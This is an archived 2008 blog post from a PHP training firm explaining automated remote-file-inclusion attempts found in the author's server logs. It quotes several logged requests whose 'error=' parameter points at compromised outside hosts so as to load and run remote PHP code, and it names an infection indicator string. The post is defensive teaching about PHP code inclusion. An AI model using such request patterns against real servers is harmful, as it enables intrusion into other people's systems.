Home Accessibility Courses Twitter The Mouth Facebook Resources Site Map About Us Contact
 
Python and Tcl - public course schedule [here]
Private courses on your site - see [here]
Please ask about maintenance training for Perl, PHP, Lua, etc
 
Are nasty programs looking for security holes on your server?

Looking through my log file reports for the last week, I have found the following in my "failed requests" log.

 546: /errors.php
  52:   /errors.php?error=http://www.beautiful-america.com/admin/id.txt?
  42:   /errors.php?error=http://www.ticarbon.de/phpBB2/files/i?
  32:   /errors.php?error=http://test.iearn.uz/test.iearn.uz/assist.txt???
  27:   /errors.php?error=http://www.dg-mitteldeutschland.de/sys_crank/i?
  26:   /errors.php?error=http://hornydate.co.uk/sparky.txt??
  25:   /errors.php?error=http://www.sternkinder2007.de/video/lol?


So what are these requests? Should I be worried?

They're attempts to break into my system. But I'm not being particularly targeted - this is an automated attack, attempting to call on a script which I don't have to run code that's held on those remote sites which have previously been compromised. And if they succeed, they they'll set the same hole up on my system and carry on to the next.

The particular accesses above actually don't worry me - they were all "404"d - but rather they form a warning of the dangers of allowing external code to be included in PHP.

Visiting the URLs given as the "error=" parameter, I find a variety of "not found" pages which means that the hole has not been closed on the remote system, and nasty pieces of PHP which mean that the remote machine is still compromised. (If you, reading this article, visit any of them you should get a 404 as I have distorted the URLs that were live - I don't want to make this into a "how to break in" manual page!). But I do have copies of the scripts that I can show bona fide delegates on our PHP courses, and of the futher log details of the programs (often in Perl) that are injected.

If you are worried about being infected, the particular attack file contains the string "Mic22" - so if you search for that ...
(written 2008-02-17, updated 2008-02-18)

 
Associated topics are indexed as below, or enter http://melksh.am/nnnn for individual articles
H117 - Security in PHP
  [4642] A small teaching program - demonstration of principles only - (2016-02-08)
  [3813] Injection Attacks - PHP, SQL, HTML, Javascript - and how to neutralise them - (2012-07-22)
  [3747] An easy way to comply with the new cookie law if your site is well designed - (2012-06-02)
  [3698] How to stop forms on other sites submitting to your scripts - (2012-04-15)
  [3210] Catchable fatal error in PHP ... How to catch, and alternative solutions such as JSON - (2011-03-22)
  [2939] Protecting your images from use out of context - (2010-08-29)
  [2688] Security considerations in programming - what do we teach? - (2010-03-22)
  [2628] An example of an injection attack using Javascript - (2010-02-08)
  [2025] Injection Attack if register_globals in on - PHP - (2009-02-04)
  [1779] Injection Attacks - avoiding them in your PHP - (2008-08-31)
  [1747] Who is watching you? - (2008-08-10)
  [1694] Defensive coding techniques in PHP? - (2008-07-02)
  [1679] PHP - Sanitised application principles for security and useability - (2008-06-16)
  [1482] A story about benchmarking PHP - (2007-12-23)
  [1396] Using PHP to upload images / Store on MySQL database - security questions - (2007-10-19)
  [1387] Error logging to file not browser in PHP - (2007-10-11)
  [1323] Easy handling of errors in PHP - (2007-08-27)
  [1086] Injection attacks - safeguard your PHP scripts - (2007-02-20)
  [1052] Learning to write secure, maintainable PHP - (2007-01-25)
  [947] What is an SQL injection attack? - (2006-11-27)
  [920] A lion in a cage - PHP - (2006-11-10)
  [426] Robust checking of data entered by users - (2005-08-27)
  [345] Spotting a denial of service attack - (2005-06-12)


Back to
Colour, Composition or Content
Previous and next
or
Horse's mouth home
Forward to
Learning Object Oriented Principles (and perhaps Java)
Some other Articles
The geometry of East London
Letting new visitors know we provide training courses
FSB, EGM, AGM.
Learning Object Oriented Principles (and perhaps Java)
Are nasty programs looking for security holes on your server?
Colour, Composition or Content
Chinese New Year
A forum is not always the best vehicle
Teaching Object Oriented Java with Students and Ice Cream
To Wales - where theres still a toll on the bridge
4759 posts, page by page
Link to page ... 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96 at 50 posts per page


This is a page archived from The Horse's Mouth at http://www.wellho.net/horse/ - the diary and writings of Graham Ellis. Every attempt was made to provide current information at the time the page was written, but things do move forward in our business - new software releases, price changes, new techniques. Please check back via our main site for current courses, prices, versions, etc - any mention of a price in "The Horse's Mouth" cannot be taken as an offer to supply at that price.

Link to Ezine home page (for reading).
Link to Blogging home page (to add comments).

You can Add a comment or ranking to this page

© WELL HOUSE CONSULTANTS LTD., 2019: 404 The Spa • Melksham, Wiltshire • United Kingdom • SN12 6QL
PH: 01225 708225 • EMAIL: info@wellho.net • WEB: http://www.wellho.net • SKYPE: wellho

PAGE: http://www.wellho.net/mouth/1542_Are ... rver-.html • PAGE BUILT: Sat May 27 16:49:10 2017 • BUILD SYSTEM: WomanWithCat